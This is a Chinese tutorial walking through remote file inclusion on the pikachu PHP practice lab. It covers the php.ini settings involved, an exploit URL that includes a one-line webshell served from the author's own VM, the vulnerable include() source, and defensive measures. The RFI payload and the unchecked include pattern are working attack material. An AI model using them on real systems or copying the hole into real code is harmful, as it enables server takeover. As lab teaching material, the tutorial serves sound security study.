Web渗透:文件包含漏洞

Ⅱ.远程文件包含

远程文件包含漏洞(Remote File Inclusion, RFI)是一种Web应用程序漏洞,允许攻击者通过URL从远程服务器包含并执行文件;RFI漏洞通常出现在动态包含文件的功能中,且用户输入未经适当验证和过滤。接着我们也是根据pikachu靶场中的远程文件包含相关漏洞页面进行漏洞说明:

1.打开页面后发现页面出现提示:环境中的allow_url_include开关并没有开启,这里需要我们手动进行开启。

开启方法:在小皮面板中找到php对应的配置文件,选择当前站点使用的php版本;笔者此处所使用的版本为php5.6.9。

点击对应版本后就会出现php相关配置文件--php.ini;这个时候我们直接去找allow_url_include开关并将其开启即可:

修改后我们重启下当前所使用的中间件即可。至此靶场就可以正常使用了:

php.ini中的allow_url_include参数究竟有什么用呢?

allow_url_include 是 PHP 中的一个配置指令,它决定是否允许在 include、include_once、require 和 require_once 语句中使用 URL 进行远程文件包含;默认情况下,该选项是禁用的,以防止远程文件包含(RFI)漏洞。这意味着 PHP 脚本可以通过指定一个远程文件的 URL 来加载并执行该文件的内容。

大概了解完后我们就来阐述一下该漏洞需要我们如何去进行利用:

1.首先远程文件包含漏洞的初始页面与本地文件包含的初始页面是一样的,此时我们随机选择一个球星进行查询,整体页面如下:

可以看到url上已经文件的相对路径显示出来了;此时我们尝试将url中的文件路径改为hosts文件的绝对路径查看效果:可以看到与本地文件包含不同的是,这个时候我们使用绝对路径,文件的内同也可以被正常包含。

那么因为我们已经开启了allow_url_include开关,所以此时是允许我们直接包含远程主机中的文件的;这边我开一个虚拟机(再实际环境中就需要使用自己的公网服务器了);虚拟机的IP为192.168.8.129,并且开启了apache服务,这个时候我在apache服务的根目录创建一个编写有一句话木马的txt文件:

接着我们将包含的文件途径修改文此时访问该txt文件的url,修改后的我们让我的URL为:

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.8.129/Remote_shell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

接着使用WebShell连接工具进行连接:连接成功

至此漏洞利用成功。接着我们也是按照惯例查看源码对漏洞进行剖析:

$html1='';
if(!ini_get('allow_url_include')){
    $html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){
    $html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
}
$html3='';
if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){
    $html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
}

这段代码旨在检查PHP配置中的几个关键设置,并在特定条件下显示警告消息:

使用 ini_get('allow_url_include') 检查 allow_url_include 设置。如果返回值为 false,表示该设置未开启。allow_url_include开启其实就是此处远程文件包含漏洞产生的主要原因,上面有说过了,此处就不做过多赘述了。

使用 ini_get('allow_url_fopen') 检查 allow_url_fopen 设置。如果返回值为 false,表示该设置未开启。allow_url_fopen 决定是否允许通过 fopen()file_get_contents() 等函数访问 URL;默认情况下,allow_url_fopen 是启用的,这意味着 PHP 脚本可以通过这些函数从远程服务器读取文件内容。

allow_url_include 依赖于 allow_url_fopen。换句话说,如果你想启用 allow_url_include,首先需要确保 allow_url_fopen 也是启用的。

使用 ini_get('magic_quotes_gpc') 检查 magic_quotes_gpc 设置。如果返回值为 false,表示该设置未开启。magic_quotes_gpc 是 PHP 中的一个配置选项,用于自动对来自 GETPOSTCOOKIE 的输入数据进行转义。具体来说,它会自动在某些特殊字符(如单引号 '、双引号 "、反斜杠 \ 和 NULL 字符)前添加反斜杠。如果magic_quotes_gpc是开启的则攻击无法成功,因为我们指定的带有木马的txt文件的url中带有反斜杠(被转义后的反斜杠就会被当成一个字符看待)。

检查完成后,造成文件包含的关键代码:与本地文件包含的相关代码并无区别,都是接收客户端传来的文件路径(url)并进行包含。

//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";//变量传进来直接包含,没做任何的安全限制
}
防范文件包含漏洞的方法
1. 输入验证和过滤

对所有用户输入进行严格验证和过滤,确保文件名是合法的,并且不包含任何恶意字符或路径遍历字符(如 ../)。

2. 禁用远程文件包含

php.ini 中禁用 allow_url_includeallow_url_fopen,以防止远程文件包含。

3. 设置正确的文件权限

确保 Web 服务器仅对需要访问的文件和目录具有读取权限,防止攻击者访问不必要的文件。

4.使用最新版本的 PHP

始终使用最新版本的 PHP,因为它包含了最新的安全补丁和功能,可以帮助防范已知的安全漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/751568.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

亚马逊AI技术风波:人工智能“洗白”现象引发质疑

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

并发 多线程

目录 thread thread 类总览 构造函数 join joinable ​编辑 detach swap yield swap 成员函数的调用 namespace::this_thread 线程同步--锁 互斥锁mutex 递归锁recursive_mutex 定时锁 Lock 锁辅助类 lock_guard​编辑 unique_lock std::lock 解决死锁问题 消息…

提升Unity WebGL游戏启动速度

一、查看启动耗时 通过修改unity-namespace.js中hideTimeLogModal为false&#xff0c;显示timelog开发者可以看到小游戏目前的启动首屏时长&#xff1a; 将其设置为false后&#xff0c;启动小程序后就会显示启动耗时 要知道各个阶段的含义&#xff0c;我们必要理解启动流程。 …

vue3用自定义指令实现按钮权限

1&#xff0c;编写permission.ts文件 在src/utils/permission.ts import type { Directive } from "vue"; export const permission:Directive{// 在绑定元素的父组件被挂载后调用mounted(el,binding){// el&#xff1a;指令所绑定的元素&#xff0c;可以用来直接操…

小程序消息定时任务(定时触发器)发送总结

文章目录 小程序消息定时任务&#xff08;定时触发器&#xff09;发送总结1.开发思路2.实现办法3.查看定时触发器是否正常运作4.总结 小程序消息定时任务&#xff08;定时触发器&#xff09;发送总结 1.开发思路 在使用小程序的时候总是会遇到消息任务发送的情况&#xff0c;…

BERT论文略读

《BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding》 &#xff08;https://arxiv.org/abs/1810.04805&#xff09; 摘要&#xff1a;前人优秀工作仅用了单向信息且不能很好的应用到各类下游任务&#xff0c;本文提出一种基于Transformer的双…

三种分布式锁实现方式

目录 1、数据库自增 2、Redis自增 3、Zookeeper 4、其他 4.1、雪花算法 4.2、Tinyid 4.3、Leaf 4.4、数据库号段 1、数据库自增 利用数据库表的自增特性&#xff0c;或主键唯一性&#xff0c;实现分布式ID REPLACE INTO id_table (stub) values (’a‘) ; SELECT LA…

4A的「A」会变成AI的「A」吗?

戛纳国际创意节上&#xff0c;广告集团WPP的全球CEO Mark Read 和英国CEO Karen Blackett 解释了WPP如何应对AIGC所带来的「威胁」。同时&#xff0c;Mark Read 与Elon Musk对话&#xff0c;讨论「技术创新的变革力量&#xff0c;人工智能如何重塑创造力、商业和社会&#xff0…

Ueditor中集成135编辑器

一、背景 在资讯项目平台运营过程中&#xff0c;资讯需要排版&#xff0c;一般都是在135编辑器排好以后&#xff0c;复制到平台中UEditor编辑器中&#xff0c;所以&#xff0c;他们建议集成一下135哈 二、了解135编辑器 开始调研了解135编辑器&#xff0c;发现人家就支持集成…

PVE 8.2.2安装OpenWrt 23.05.3

1,下载官方openwrt 23.5.3镜像并解压 2&#xff0c;进入pve上传镜像 复制这段文字之后需要使用 创建虚拟机 删除磁盘 安装完毕后 shell 运行 qm importdisk 100 /var/lib/vz/template/iso/openwrt-23.05.3-x86-64-generic-ext4-combined-efi.img local-lvm 其中100是虚拟…

mac菜单栏应用管理软件:Bartender 4 for Mac 中文激活版

Bartender 4 是一款由Bearded Men Games开发的适用于Mac操作系统的应用程序&#xff0c;它被设计用来优化和美化Mac菜单栏的功能。自从macOS Big Sur开始&#xff0c;Mac的菜单栏可以自定义&#xff0c;用户可以添加和移除各种图标。Bartender 4就是在这个背景下应运而生&#…

Spring Boot中获取请求参数的几种方式

前言 在构建现代 Web 应用时&#xff0c;处理来自客户端的请求参数是不可或缺的一部分。Spring Boot作为构建微服务应用的领先框架&#xff0c;提供了多种灵活高效的方式来获取请求参数&#xff0c;满足各种应用场景。 无论您是Spring Boot的初学者&#xff0c;还是希望更深入…

[分布式网络通讯框架]----Protobuf安装配置--附带每一步截图

Protobuf Protobuf&#xff08;Protocol Buffers&#xff09;协议是一种由 Google 开发的二进制序列化格式和相关的技术&#xff0c;它用于高效地序列化和反序列化结构化数据&#xff0c;通常用于网络通信、数据存储等场景。 为什么要使用Protobuf Protobuf 在许多领域都得到…

【PL理论深化】(8) Ocaml 语言:元组和列表 | 访问元组中的元素 | 列表中的 head 和 tail | 基本列表操作符

&#x1f4ac; 写在前面&#xff1a;本章我们将探讨 OCaml 中的元组&#xff08;tuple&#xff09;和列表&#xff08;list&#xff09;&#xff0c;它们是函数式编程语言中最常用的数据结构。 目录 0x00 元组&#xff08;Tuple&#xff09; 0x01 访问元组中的元素 0x02 列表&…

电脑开机之后,键盘鼠标需要重新插拔才能正常使用?

前言 小白平时修电脑修得多&#xff0c;总是会遇到各种各样的奇葩问题。这不&#xff0c;又有一位小伙伴来咨询&#xff1a;电脑开机之后&#xff0c;键盘鼠标都不能用&#xff0c;需要重新插拔一下才能正常使用。 啧啧啧&#xff0c;真的是很奇怪的问题&#xff0c;基本上没见…

OpenCV报错已解决:Vector析构异常OpencvAssert CrtlsValidHeapPointer

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引入 在使用OpenCV进行图像处理时&#xff0c;我们可能会遇到Vector析构异常OpencvAssert CrtlsValidHeapPointer的问题。本文将…

Kubernetes之 资源管理

系列文章目录 Kubernetes之 资源管理 文章目录 系列文章目录前言一、资源管理介绍二、YAML语言介绍 1.1.YAML语法&#xff1a;2.读入数据总结 一、资源管理介绍 在kubernetes中&#xff0c;所有的内容都抽象为资源&#xff0c;用户需要通过操作资源来管理kubernetes。 1. kub…

深度解析RocketMq源码-IndexFile

1.绪论 在工作中&#xff0c;我们经常需要根据msgKey查询到某条日志。但是&#xff0c;通过前面对commitLog分析&#xff0c;producer将消息推送到broker过后&#xff0c;其实broker是直接消息到达broker的先后顺序写入到commitLog中的。我们如果想根据msgKey检索一条消息无疑…

如何理解AKM?

关于Wi-Fi的加密认证过程&#xff0c;我们前面已经讲解&#xff1a;WLAN数据加密机制_tls加密wifi-CSDN博客 今天我们来理解下AKM&#xff0c;AKM&#xff08;Authentication and Key Management&#xff09;在Wi-Fi安全中是指认证和密钥管理协议。它是用于确定Wi-Fi网络中的认…

Linux学习第54天:Linux WIFI 驱动:蓝星互联

Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 数字化、现代化的今天&#xff0c;随处的WIFI给与了大众极大的方便&#xff0c;也感受到了科技的力量。万物互联、无线互联越来越成为一个不可逆转的趋势。现在比较火…